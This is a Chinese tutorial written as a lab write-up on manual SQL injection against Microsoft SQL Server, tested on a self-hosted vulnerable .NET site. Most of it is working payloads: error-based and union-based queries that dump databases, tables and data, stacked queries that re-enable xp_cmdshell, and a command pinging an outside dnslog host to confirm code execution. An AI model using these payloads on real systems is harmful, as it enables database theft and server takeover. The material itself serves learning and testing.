前言:

说起sql注入环境,网上流行的一些漏洞靶场基本上都是基于Mysql+Apache搭建的,所以我对mysql的手注及提权多多少少有一定的了解,但对mssql还很陌生,为了避免过度依赖sqlmap一把梭的尴尬局面,于是有了这篇文章。

环境介绍:

搭建环境:win7 + SQL Server 2008 R2 + IIS7.5

win7开放1433端口

sql server 2008 r2下载及搭建过程参考:Win7安装sqlserver2008r2教程

苦于找不到漏洞环境,只好找公开的NET源码下载。

.NET源码下载地址:.NET源码 - 下载列表 - 源码之家

ISAPI和CGI限制都设置为允许:

部分配置参考:

注入漏洞发现:

搭建过程总是磕磕绊绊的,环境搭建好以后,使用xray联动awvs快速发现漏洞:

这里直接放出结果:

随便找一处注入点用sqlmap一把梭瞅瞅:

基本齐活了,作为手注漏洞环境挺好的

基础知识:

Mssql的系统自带库:master

在每个网站中,一般一个网站不会跨库,而在MSSQL中每个库都有一个系统自带表:sysobjects

此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的类型,有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表。

mssql常用参数:

当前数据库版本:@@version

有关服务器主机的信息:@@servername

当前数据库名称:db_name()

当前用户:user

数据库权限:IS_SRVROLEMEMBER()

手注过程:

报错注入:

判断是否是Mssql数据库:

id=1 and (select count(*) from sysobjects)>0

id=1 and exists(select * from sysobjects)

使用了上面这条语句说明它权限还有点大,还有可能是 sa 权限,因为可以读取任意表

判断权限:

id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))-- //sa

id=1 and 1=(select IS_MEMBER('db_owner'))=1-- // dbo

id=1 and 1=(select IS_MEMBER('public'))=1-- //public

mssql权限划分:

sysadmin:可以执行所有操作,包括数据库操作,文件管理,命令执行,注册表读取等

db_owner:可以执行数据库操作,包括文件管理、数据库操作等

public:只能执行查询操作

本地测试页面返回正常,说明它是 sa 权限

查看当前数据库版本:

id=1 and 1=(select @@version)

id=@@version

id=1 and 1=(convert(int,@@version))

id=convert(int,@@version)

通过这个例子了解报错注入的原理:

and 1 是int类型,后面的(select @@version) 是字符类型,不相等,就会报错从而爆出相关信息

而原本访问网站 id=1 查询的是数字类型int,而我们查询的是字符类型,所以他从字符类型转换为int类型失败就导致网站报错从而泄露网站的数据库版本信息

查看当前数据库名称:

id=1 and 1=(select db_name())

id=db_name()

convert函数利用原理:

对于 convert(int,@@version),convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。

获取第一个用户数据库的名称:

id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)

语句解析:

top 1 是一个SQL查询的子句,它用于查询结果只显示首条记录

对于 master..sysdatabases 这个意思是这样的:在mssql系统默认数据库master 的系统视图里

从图中可以看到,前面4个id号是默认mssql数据库自带的,实际上 ReportServer 和 ReportServerTempDB 也是安装过程中自带的数据库,真正手动创建的数据库为后面三个,以搭建环境为基准的话,这里第7个才是用户所创建的第一个数据库,以此类推!

获取所有数据库的名字:

# for xml path:将查询结果集以XML形式展现

id=1 and 1=(select name from master..sysdatabases for xml path)

获取当前网站数据库所使用的第一个表名:

id=1 and 1=(select top 1 name from sysobjects where xtype='u')

id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name != '') # 获取第二个表名,以此类推

id=CONVERT(int,(select top 1 table_name from information_schema.columns)) # 获取当前数据库的表名

爆出所有表名:

id=1 and 1=(select name from sysobjects for xml path)

本地复现失败,可能是表太多了,数据传输量过大被截断了?(盲猜)

获取列名:

我们知道了第一个表名为:Portal_Announcementscat

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat'))

# 506F7274616C5F416E6E6F756E63656D656E7473636174 为表名 Portal_Announcementscat 的 hex值

id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174 as varchar)))

获取到第一个列名为:catid,参照数据库信息进行比对:

获取下一个列名:

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat') and name !='catid')

id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174 as varchar) and COLUMN_NAME != 'catid'))

获取数据:

id=1 and 1=(select top 1 catname from Portal_Announcementscat)

id=convert(int,(select top 1 catname from Portal_Announcementscat))

获取下一条数据:

id=1 and 1=(select top 1 catname from Portal_Announcementscat where catname != '本地通告')

id=convert(int,(select top 1 catname from Portal_Announcementscat where catname !='本地通告'))

联合注入:

判断字段长度:

id=1 order by 8--

上面得到数据列数为8,寻找字符型显示位:

id=0 union all select null,null,null,null,null,null,null,null

这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段

使用的 null 是说明它无关是字符型还是数字型

现在,我们需要将依次每一个数据列转换为@@version或者db_name(),寻找字符型显示位:

id=0 union all select @@version,null,null,null,null,null,null,null

id=0 union all select null,@@version,null,null,null,null,null,null # 以此类推

注意:这里其实填啥都可以,不一定得是@@version诸如此类的,只要是字符型数据都行:

获取表名信息:

id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u'),null,null,null,null,null,null,null

id=0 union all select (select top 1 table_name from information_schema.columns),null,null,null,null,null,null,null

# 获取之后的表名,以此类推

id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u' and name not in ('Portal_Announcementscat')),null,null,null,null,null,null,null

获取列名信息:

# 1 代表的是查询第一个列名

id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),1) from sysobjects),null,null,null,null,null,null,null

# 获取第i列名信息

id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),{i}) from sysobjects),null,null,null,null,null,null,null

获取数据信息:

id=0 union all select catname,null,null,null,null,null,null,null from Portal_Announcementscat

xp_cmdshell执行命令:

我们刚才知道了网站的权限是 sa 权限,那么我们就可以干很多事,包括执行系统命令等等

xp_cmdshell:SQL中运行系统命令行的系统存储过程,一般在安全级别较高的服务器权限上。也就是它开启的话我们就可以执行系统命令!

判断xp_cmdshell是否存在:

id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')

页面返回正常,说明xp_cmdshell存在。

xp_cmdshell默认在mssql_2000中是开启的,在mssql_2005之后的版本中则默认禁止。

如果用户拥有管理员sa权限则可以用sp_configure重新开启它

本地环境为sql server 2008,可以看到默认情况下是禁止的:

这里既然是sa用户,直接通过注入环境开启 xp_cmdshell:

id=1 ;exec sp_configure 'show advanced options', 1;reconfigure;--

id=1 ;exec sp_configure 'xp_cmdshell',1;reconfigure;--

# 关闭 xp_cmdshell:

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell', 0;reconfigure

尝试通过xp_cmdshell执行系统命令:

id=1 ;exec master..xp_cmdshell "ping 1yi53x.dnslog.cn"--

通过dnslog可以看到系统命令成功执行

关于xp_cmdshell的利用方式很多,比如添加管理员用户,写入一句话到网站根目录,反弹shell等等

更多用法请参考:mssql注入经常使用的命令

参考如下:

mssql和mysql注入区别_Mssql手工注入小结相关推荐

  1. mssql与mysql语法区别_MSSQL与MySQL语法区别

    就目前碰到的不一样的地方集中记录在这篇日志中,不定期更新. 1.批量执行SQL语句 MSSQL中,所有语句执行过程中无需在末尾加分号『;』 MySQL中,单条语句不用加分号,多条执行时每句末尾需要添加 ...

  2. mssql注入和mysql注入_mssql手工注入

    mssql注入是针对于sql server数据库的 sql server数据库和mysql数据库是有所区别的,语句命令之类的可自行百度. 平台:i春秋 内容:mssql手工注入 找注入点 点击test ...

  3. mysql报错型手工注入_mysql手工注入教程

    大家早上好!,H.U.C-枫 又和大家见面啦// 本来早想做这个教程的,因为前段时间做过一套mssql的手工注入教程.今天给大家带来的是php+mysql 手工注入.临时找了个点,所以有些东西不能全给 ...

  4. mysql报错注入实战_手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  5. mssql和mysql那个好_mssql与mysql的有什么区别?哪个更好用?

    mssql与mysql的有什么区别?哪个更好用?MySQL可以说是MSSQL的简化版本.理念相同,但MySQL的实现比MSSQL的需求低.MySQL是一个免费的.开放源代码的SQL数据库,所以免费的M ...

  6. SQL注入题型(手工注入+sqlmap)

    题目:通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件 目录 题目:通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件 首先进行手工注入(用'以及and或者or来进行查看 ...

  7. mysql dba盲注_MSSQL手工注入 报错注入方法

    例子:www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1 [1]首先爆版本:http://www.kfgtfcj.gov.cn/lzygg/Zixun_show ...

  8. mysql报错注入实战_MySQL手工注入实战

    实战记录,日本某站 注入点 and 语句测试 and1=1 返回正常,and=2跳回首页,可能过滤了 用 ' 测试返回错误页面 判断为注入点 order by语句查询字段数 测试字段数为9 and 1 ...

  9. mssql mysql 语法区别_mssql与mysql区别之——变量区别

    sql server中变量要先申明后赋值: 局部变量用一个@标识,全局变量用两个@(常用的全局变量一般都是已经定义好的): 申明局部变量语法:declare @变量名 数据类型:例如:declare ...

最新文章

  1. css清除浮动float的三种方法总结
  2. helm的作用及v3版本的架构变化概述
  3. How UI5 and FIORI deliver central Javacript library code MIME
  4. 漫步数理统计十——连续随机变量(上)
  5. 创建ASP.NET Core MVC应用程序(3)-基于Entity Framework Core(Code First)创建MySQL数据库表
  6. 字典制作、在线密码破解
  7. linux常用命令,亲测可用
  8. 2006年度中国管理软件行业评选
  9. 2016.2.14-2016.2.21 中大信(北京)工程造价咨询有限公司实习有感
  10. 树莓派搭建全功能NAS服务器(07):管理你的书库随心阅读
  11. Spring(26)——PathMatchingResourcePatternResolver
  12. 202000 - AlphaGo如何进化为孤独求败?
  13. hotmai邮箱服务器在境外吗,服务器Hotmail邮箱pop3服务器设置方法
  14. 网络层:控制平面总结
  15. 网络模拟环境 NS-2仿真软件简介
  16. 自动添加控件,一次提交多条记录。
  17. 情感分析的分类,情感分析模型有哪些,情感分析的应用场景,情感分析的发展趋势
  18. Ceph入门系列(一)
  19. (PKCS1) RSA 公私钥 pem 文件 提取 公私钥 e d 和 模数 n
  20. VR浏览器,能否引爆新场景下的“入口之战“?

热门文章

  1. JavaScript选项卡/页签/Tab的实现
  2. mysql 查询 及时间格式化
  3. 小凯机器人软件_Cruzr-Cruzr(机器人控制软件)下载 v1.5.20190706.48官方版--pc6下载站...
  4. 小菜鸟学Python记
  5. 关于compose的
  6. 十种进程注入技术介绍:常见注入技术及趋势调查
  7. 一条简单 SQL 执行耗时超 1000ms,问题解决全过程!
  8. LTE学习笔记 ——PLMN选择
  9. 【各种转换】数组转换成字符串,集合转换成字符串,字符串转集合
  10. 1445. 苹果和桔子